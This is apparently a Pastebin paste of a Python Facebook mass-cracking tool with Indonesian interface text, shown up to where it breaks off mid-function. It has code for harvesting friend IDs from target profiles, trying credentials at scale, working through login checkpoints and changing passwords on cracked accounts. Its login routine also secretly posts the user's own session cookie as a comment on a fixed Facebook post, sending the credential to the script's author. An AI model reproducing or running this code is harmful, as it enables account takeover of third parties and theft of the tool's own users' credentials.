OBF-XIn

140.213.44.55-/sdcard/p01.py.py

Sep 22nd, 2023
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 91.78 KB | None | 0 0
  1. #----------[ IMPORT-MODULE ]----------#
  2. import os, re, sys, bs4, json, random, requests, time, datetime
  3. from bs4 import BeautifulSoup as sop   
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from datetime import datetime
  6. from rich import print as prints
  7. from rich.panel import Panel
  8. from rich.tree import Tree
  9. from rich.console import Console
  10. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  11.  
  12. #----------[ GLOBAL-NAME ]----------#
  13. id, id2, uid = [],[],[]
  14. tokene, akune = [],[]
  15. sandine, sandina = [],[]
  16. method, ugen = [],[]
  17. uamu, uadia = [],[]
  18. dump = []
  19. linku = "mbasic.facebook.com"
  20. loop, ok, cp = 0,0,0
  21. console = Console()
  22. ubah_pass, pwbaru = [],[]
  23. pwBaru, ubahP = [],[]
  24.  
  25. #----------[ USER-CRACK ]----------#  
  26. realme = random.choice(["RMX3516", "RMX3371", "RMX3461", "RMX3286", "RMX3561", "RMX3388", "RMX3311", "RMX3142", "RMX2071", "RMX1805", "RMX1809", "RMX1801", "RMX1807", "RMX1803", "RMX1825", "RMX1821", "RMX1822", "RMX1833", "RMX1851", "RMX1853", "RMX1827", "RMX1911", "RMX1919", "RMX1927", "RMX1971", "RMX1973", "RMX2030", "RMX2032", "RMX1925", "RMX1929", "RMX2001", "RMX2061", "RMX2063", "RMX2040", "RMX2042", "RMX2002", "RMX2151", "RMX2163", "RMX2155", "RMX2170", "RMX2103", "RMX3085", "RMX3241", "RMX3081", "RMX3151", "RMX3381", "RMX3521", "RMX3474", "RMX3471", "RMX3472", "RMX3392", "RMX3393", "RMX3491", "RMX1811", "RMX2185", "RMX3231", "RMX2189", "RMX2180", "RMX2195", "RMX2101", "RMX1941", "RMX1945", "RMX3063", "RMX3061", "RMX3201", "RMX3203", "RMX3261", "RMX3263", "RMX3193", "RMX3191", "RMX3195", "RMX3197", "RMX3265", "RMX3268", "RMX3269", "RMX2027", "RMX2020", "RMX2021", "RMX3581", "RMX3501", "RMX3503", "RMX3511", "RMX3310", "RMX3312", "RMX3551", "RMX3301", "RMX3300", "RMX2202", "RMX3363", "RMX3360", "RMX3366", "RMX3361", "RMX3031", "RMX3370", "RMX3357", "RMX3560", "RMX3562", "RMX3350", "RMX2193", "RMX2161", "RMX2050", "RMX2156", "RMX3242", "RMX3171", "RMX3430", "RMX3235", "RMX3506", "RMX2117", "RMX2173", "RMX3161", "RMX2205", "RMX3462", "RMX3478", "RMX3372", "RMX3574", "RMX1831", "RMX3121", "RMX3122", "RMX3125", "RMX3043", "RMX3042", "RMX3041", "RMX3092", "RMX3093", "RMX3571", "RMX3475", "RMX2200", "RMX2201", "RMX2111", "RMX2112", "RMX1901", "RMX1903", "RMX1992", "RMX1993", "RMX1991", "RMX1931", "RMX2142", "RMX2081", "RMX2085", "RMX2083", "RMX2086", "RMX2144", "RMX2051", "RMX2025", "RMX2075", "RMX2076", "RMX2072", "RMX2052", "RMX2176", "RMX2121", "RMX3115", "RMX1921"])
  27.  
  28. for Xr in range (10000):   
  29.     a='Mozilla/5.0 (Linux; Android'
  30.     b=random.randrange(1, 9)
  31.     c=random.randrange(1, 9)
  32.     d='Build/'
  33.     e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
  34.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  35.     g=random.randrange(73,112)
  36.     h='0'
  37.     i=random.randrange(4200,4900)
  38.     j=random.randrange(40,150)
  39.     k='Mobile Safari/534.36'
  40.     l=random.choice(["UCBrowser","VenusBrowser","HiBrowser","HeadlessChrome","PaleMoon","OPR","Edge"])
  41.     m=random.randrange(1,9)
  42.     n=random.randrange(1,9)
  43.     o='0'
  44.     p=random.randrange(5,20)
  45.     uaku=(f'{a} {b}.{c}; {realme}) {d}{e}; wv) {f}{g}.{h}.{i}.{j} {k} {l}/{m}.{n}.{o}.{p}')
  46.     ugen.append(uaku)
  47.  
  48. #--------[ GENERATE-USER-AGENT ]----------#
  49. for generate in range(10):
  50.     a=random.randrange(1, 9)
  51.     b=random.randrange(1, 9)
  52.     c=random.randrange(7, 13)
  53.     c=random.randrange(73,100)
  54.     d=random.randrange(4200,4900)
  55.     e=random.randrange(40,150)
  56.     uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  57. def uaku():
  58.     try:
  59.         ua=open('bbnew.txt','r').read().splitlines()
  60.         for ub in ua:
  61.             ugen.append(ub)
  62.     except:
  63.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  64.         ua=open('.bbnew.txt','w')
  65.         aa=re.findall('line">(.*?)<',str(a))
  66.         for un in aa:
  67.             ua.write(un+'\n')
  68.         ua=open('.bbnew.txt','r').read().splitlines()
  69. ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
  70.  
  71. #--------[ TAHUN-AKUN ]--------#    
  72. def tahun(fx):
  73.     if len(fx)==15:
  74.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  75.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  76.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  77.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  78.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  79.         elif fx[:6] in ['100001']          :tahunz = '2010'
  80.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  81.         elif fx[:6] in ['100004']          :tahunz = '2012'
  82.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  83.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  84.         elif fx[:6] in ['100009']          :tahunz = '2015'
  85.         elif fx[:5] in ['10001']           :tahunz = '2016'
  86.         elif fx[:5] in ['10002']           :tahunz = '2017'
  87.         elif fx[:5] in ['10003']           :tahunz = '2018'
  88.         elif fx[:5] in ['10004']           :tahunz = '2019'
  89.         elif fx[:5] in ['10005']           :tahunz = '2020'
  90.         elif fx[:5] in ['10006']           :tahunz = '2021'
  91.         elif fx[:5] in ['10009']           :tahunz = '2023'
  92.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  93.         else:tahunz=''
  94.     elif len(fx) in [9,10]:
  95.         tahunz = '2008'
  96.     elif len(fx)==8:
  97.         tahunz = '2007'
  98.     elif len(fx)==7:
  99.         tahunz = '2006'
  100.     else:tahunz=''
  101.     return tahunz
  102.  
  103. #----------[ WARNA-TEMA ]----------#
  104. puti = '\x1b[1;97m'# WARNA-PUTIH
  105. mer = '\x1b[1;91m' # WARNA-MERAH
  106. kun = '\x1b[1;93m' # WARNA-KUJING
  107. hijo = '\x1b[1;92m' # WARNA-HIJAU
  108. ung = '\x1b[1;95m' # WARNA-UNGU
  109. biru = '\x1b[1;94m' # WARNA-BIRU
  110.  
  111. #----------[ WARNA-RICH ]----------#
  112. P2 = "[#FFFFFF]" # PUTIH
  113. M2 = "[#FF0000]" # MERAH
  114. K2 = "[#FFFF00]" # KUNING
  115. H2 = "[#00FF00]" # HIJAU
  116. B2 = "[#00C8FF]" # BIRU
  117. A2 = "[#AAAAAA]" # ABU-ABU
  118.  
  119. #----------[ ATUR ]----------#
  120. bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
  121. hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
  122. hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
  123. waktu = datetime.now().strftime("%X")
  124. kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
  125. # --post
  126. link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
  127.        
  128. #----------[ KOMENTAR ]----------#
  129. komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
  130. random01 = random.choice(["Acc Guru 😎"])
  131. random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
  132. random03 = random.choice(["Ah Ganteng Banget Bang 😎"])
  133. random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
  134. random05 = random.choice(["Pro Gammers Ya Bang, Keren 😎\n\n Canda Bang ðŸĪ­"])
  135.  
  136. #----------[ HAPUS ]----------#    
  137. def hapus_kukis():
  138.       try:os.remove(".cyxieoncokies.txt")
  139.       except:pass
  140.       try:os.remove(".cyxieontoken.txt")
  141.       except:pass
  142.       login_cookies()
  143.  
  144. #----------[ WAKTU ]----------#          
  145. def waktu():
  146.     now = datetime.now()
  147.     hours = now.hour
  148.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  149.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  150.     elif 15 <= hours < 18:timenow = "Selamat Sore"
  151.     elif 00 <= hours < 4:timenow = "Selamat Malam"
  152.     else:timenow = "Good Night"
  153.     return timenow
  154.      
  155. #----------[ BANNER ]----------#
  156. def logo_log():
  157.       if "win" in sys.platform:os.system("cls")
  158.       else:os.system("clear")
  159.       prints(Panel(f"""\r
  160.   _____ _____________________       ____  _____________  
  161.  /     \\______   \_   _____/       \  \/  /\______   \
  162. /  \ /  \|    |  _/|    __)  ______  \    /  |       _/
  163. /    Y    \   |   \|     \ /_____/  /     \ |    |   \
  164. \____|__  /______  /\___  /          /___/\ \ |____|_  /
  165.        \/       \/     \/                 \_/        \/  
  166. """,width=80,padding=(0,8),style=f"#AAAAAA"))
  167.                                                                                          
  168.                                                                                
  169. #----------[ LOGIN-COKIES ]----------#                
  170. def login_cookies():
  171.     try:
  172.         logo_log()
  173.         ses = requests.Session()
  174.         prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  175.         cookie = input(f"{puti}[{mer}â€Ē{puti}] Cokies {hijo}: ")
  176.         cookies = {'cookie':cookie}
  177.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  178.         req = ses.get(url,cookies=cookies); set = re.search('act=(.*?)&nav_source',str(req.content)).group(1); nek = '%s?act=%s&nav_source=no_referrer'%(url,set); roq = ses.get(nek,cookies=cookies); tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1); print(f"{puti}[{mer}â€Ē{puti}] Token {hijo}: {tok}"); requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie}); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies); ken = open(".cyxieontoken.txt", "w").write(tok); cok = open(".cyxieoncokies.txt", "w").write(cookie)
  179.         prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
  180.         suk = input(f"[â€Ē] TEKAN ENTER ] ")
  181.         menu()
  182.            
  183.     except Exception as e:
  184.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  185.     except:
  186.         pass
  187.        
  188. def follow():
  189.     try:
  190.         ses = requests.Session()
  191.         cookie = open('.cyxieoncokies.txt','w').read()
  192.         link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
  193.         kontol = link.find("a", string="Ikuti").get("href")
  194.         ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
  195.     except:
  196.          pass
  197.  
  198. #----------[ BAGIAN-MENU ]----------#                
  199. def menu():
  200.         try:
  201.             token = open('.cyxieontoken.txt','r').read()
  202.             cok = open('.cyxieoncokies.txt','r').read()
  203.             tokene.append(token)
  204.             try:
  205.                 sys = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
  206.                 useridz = json.loads(sys.text)['id']
  207.                 username = json.loads(sys.text)['name']
  208.             except KeyError:
  209.                 prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  210.         except requests.exceptions.ConnectionError:
  211.             prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);exit()
  212.         except IOError:
  213.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  214.         except IOError:
  215.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);hapus_kukis()      
  216.         try:
  217.             date = requests.get("http://ip-api.com/json/").json()
  218.         except KeyError:
  219.             date = " "
  220.         try:
  221.             ip = date["query"]
  222.             kartu = date["as"]
  223.             negara = date["country"]
  224.             wilayah = date["city"]
  225.         except KeyError:
  226.             ip = " "
  227.             kartu = " "
  228.             negara = " "  
  229.             wilayah = " "
  230.         except:
  231.             pass
  232.         logo_log()
  233.         prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} \t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User  Id [green]: {useridz}   [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status   [green]: Premium \t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} \t [white][[red]÷[white]] City    [green]: {wilayah}",width=80,padding=(0,6),style=f"#AAAAAA"))
  234.         prints(Panel(f" [white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"#AAAAAA"))
  235.         prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF TAPYES \t [white][[red]06[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF DUMP \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"#AAAAAA"))
  236.         xxx = input(f"[â€Ē] MENU : ")
  237.         if xxx in ['01','1']:krek_publik()
  238.         elif xxx in ['02','2']:cek_tapyes()
  239.         elif xxx in ['03','3']:krek_file()
  240.         elif xxx in ['04','4']:krek_email()
  241.         elif xxx in ['05','5']:hasil_ok()
  242.         elif xxx in ['06','6']:hasil_cp()
  243.         elif xxx in ['07','7']:dump_file()
  244.         elif xxx in ['00','0']:prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  245.         else:
  246.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  247.            
  248. #----------[ CRACK-PUBLIK  ]----------#            
  249. def krek_publik():
  250.     try:
  251.         token = open('.cyxieontoken.txt','r').read()
  252.         cok = open('.cyxieoncokies.txt','r').read()
  253.     except IOError:
  254.          prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  255.     try:
  256.         prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
  257.         kumpulkan = int(input(f'[â€Ē] BERAPA : '))
  258.     except ValueError:
  259.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  260.     if kumpulkan<1 or kumpulkan>100:
  261.         prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  262.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
  263.     ses=requests.Session()
  264.     bilangan = 0
  265.     for KOTG49H in range(kumpulkan):
  266.         bilangan+=1
  267.         Masukan = input(f'[â€Ē] ID 0'+str(bilangan)+f' : ')
  268.         uid.append(Masukan)
  269.     for user in uid:
  270.         try:
  271.            head = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36'}
  272.            graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(1000000)&access_token='+tokene[0], cookies = {'cookies':cok},headers=head).json()
  273.            for xr in graph['friends']['data']:
  274.                try:
  275.                    woy = (xr['id']+'|'+xr['name'])
  276. #                  if "10007"  in woy:pass
  277. #                  elif "10008"  in woy:pass    
  278.                    if woy in id:pass
  279.                    else:id.append(woy)
  280.                except:continue
  281.         except (KeyError,IOError):
  282.           pass
  283.         except requests.exceptions.ConnectionError:
  284.               prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);menu()
  285.     try:
  286.           prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  287.           atur_id()
  288.     except requests.exceptions.ConnectionError:
  289.           prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  290.     except (KeyError,IOError):
  291.           prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  292.  
  293. #----------[ CHECK-TAPYES  ]----------#              
  294. def cek_tapyes():
  295.     dirs = os.listdir('MBF-CP')
  296.     prints(Panel.fit(f"%sMASUKAN FILE HASIL CRACK YG TERSIMPAN DI FOLDER CP"%(P2),style=f"#AAAAAA"))
  297.     for file in dirs:
  298.         print(f"%s\x1b[1;92m Âŧ \033[0m%s"%(kun,file));time.sleep(0.07)
  299.     try:
  300.         print(f"\n%s\x1b[1;92m Âŧ%s\033[0m Masukan file\033[0m [\x1b[0m contoh%s: %sMBF-CP.txt\033[0m ]"%(kun,puti,kun,kun));opsi()
  301.     except IOError:
  302.         prints(Panel(f"%sFILE TIDAK ADA"%(P2),style=f"#AAAAAA"));time.sleep(2);menu()
  303.        
  304. #--> Opsi
  305. def opsi():
  306.     CP = ("MBF-CP/")
  307.     romi = input(f"%s\x1b[1;92m Âŧ%s \033[0mNama file %s\x1b[1;92m : %s"%(kun,puti,mer,kun))
  308.     if romi == "":
  309.         print(f"%s\x1b[1;92m Âŧ \033[0misi yang benar "%(mer));time.sleep(2)
  310.         opsi()
  311.     try:
  312.         file_cp = open(CP+romi, "r").readlines()
  313.     except IOError:
  314.         exit(f"\n%s\x1b[1;92m Âŧ \033[0mnama file %s\033[0m tidak tersedia"%(mer,romi))
  315.     print(f"%s\x1b[1;92m Âŧ%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(puti,hijo))
  316.     pw=input(f"\n%s\x1b[1;92m Âŧ%s \033[0mubah sandi pada akun one tab? y/t %sÂŧ %s"%(puti,hijo,hijo,kun))
  317.     if pw in['y','Y']:
  318.         ubah_pass.append("ubah_sandi")
  319.         pw2 = input(f"%s\x1b[1;92m Âŧ%s \033[0mmasukan sandi %sÂŧ %s"%(puti,hijo,hijo,kun))
  320.         if len(pw2) <= 5:
  321.             print(f"%s\x1b[1;92m Âŧ sandi minimal 6 karakter "%(mer))
  322.         else:
  323.             pwbaru.append(pw2)
  324.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  325.     print (f"%s\x1b[1;92m Âŧ%s\033[0m total akun Anda %s: %s%s "%(puti,kun,mer,kun,str(len(file_cp))))
  326.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  327.     nomor = 0
  328.     for fb in file_cp:
  329.         akun = fb.replace("\n","")
  330.         ngecek  = akun.split("|")
  331.         nomor+=1
  332.         print(f"\n%s%s.%s \033[0mlogin akun %sÂŧ %s%s"%(hijo,str(nomor),hijo,hijo,kun,akun.replace(" ÂŧÂŧÂŧ ","")));time.sleep(0.07)
  333.         try:
  334.             mengecek(ngecek[0].replace("",""), ngecek[1])
  335.         except requests.exceptions.ConnectionError:
  336.             continue
  337.     print(f"\n%s\x1b[1;92m Âŧ %s \033[0mSUCCES CHECKING ACCOUNT"%(puti,hijo));time.sleep(0.07)
  338.     input(f"%s\x1b[1;92m Âŧ%s [%s Enter%s ] "%(hijo,hijo,puti,hijo));menu()
  339.    
  340. data = {}
  341. data2 = {}
  342.  
  343. def mengecek(user,pw):
  344.     global loop,ubah_pass,pwbaru
  345.     session = requests.Session()
  346.     rc = random.choice
  347.     url = rc(["free.facebook.com","mbasic.facebook.com"])
  348.     session.headers.update(
  349.     {
  350.     "Host": url,
  351.     "cache-control": "max-age=0",
  352.     "upgrade-insecure-requests": "1",
  353.     "origin": "https://"+url,
  354.     "content-type": "application/x-www-form-urlencoded",
  355.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  356.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  357.     "x-requested-with": "mark.via.gp",
  358.     "sec-fetch-site": "same-origin",
  359.     "sec-fetch-mode": "navigate",
  360.     "sec-fetch-user": "?1",
  361.     "sec-fetch-dest": "document",
  362.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  363.     "accept-encoding": "gzip, deflate",
  364.     "accept-language": "en-US,en;q=0.9"
  365.     }
  366. )
  367.     soup=bs4.BeautifulSoup(session.get("https://"+url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  368.     link=soup.find(
  369.     "form",
  370.     {
  371.     "method":"post"
  372.     }
  373.     )
  374.     for x in soup("input"):
  375.         data.update(
  376.         {x.get("name"):x.get("value")}
  377.         )
  378.     data.update(
  379.     {
  380. "email":user,
  381. "pass":pw
  382.     }
  383. )
  384.     urlPost=session.post("https://"+url+link.get("action"),data=data)
  385.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  386.     if "c_user" in session.cookies.get_dict():
  387.         if "Akun Anda Dikunci" in urlPost.text:
  388.             print(f"\r%s\x1b[1;92m Âŧ\033[0m akun terkunci sesi new"%(mer))
  389.         else:
  390.             print(f"\r\x1b[1;92m Âŧ%s\033[0m akun tidak checkpoint, silahkan anda login "%(hijo))
  391.             open('MBF-OK/MBF-OK.txt', 'a').write(" %s|%s\n" % (user,pw))
  392.     elif "checkpoint" in session.cookies.get_dict():
  393.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  394.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  395.         link2=response.find(
  396.         "form",
  397.         {"method":"post"}
  398.         )
  399.         listInput=[
  400.         'fb_dtsg',
  401.     'jazoest',
  402. 'checkpoint_data',
  403.     'submit[Continue]',
  404.           'nh'
  405.           ]
  406.         for x in response(
  407.         "input"
  408.         ):
  409.             if x.get("name") in listInput:
  410.                 data2.update(
  411.                 {x.get("name"):x.get("value")}
  412.                 )
  413.         an=session.post("https://"+url+link2.get("action"),data=data2)
  414.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  415.         cek=[cek.text for cek in response2.find_all(
  416.         "option"
  417.         )
  418.     ]
  419.         number=0
  420.         print(f"\r%s Âŧ %s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(hijo,kun,puti,str(len(cek)),kun,hijo));time.sleep(0.07)
  421.         if(len(cek)==0):
  422.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  423.                 if "ubah_sandi" in ubah_pass:
  424.                     dat,dat2={},{}
  425.                     but=[
  426.                     "submit[Yes]",
  427.                 "nh",
  428.             "fb_dtsg",
  429.                 "jazoest",
  430.                        "checkpoint_data"
  431.                        ]
  432.                     for x in response("input"):
  433.                         if x.get("name") in but:
  434.                             dat.update(
  435.                             {x.get("name"):x.get("value")}
  436.                             )
  437.                     ubahPw=session.post("https://"+url+link2.get("action"),data=dat).text
  438.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  439.                     link3=resUbah.find(
  440.                     "form",
  441.                     {"method":"post"}
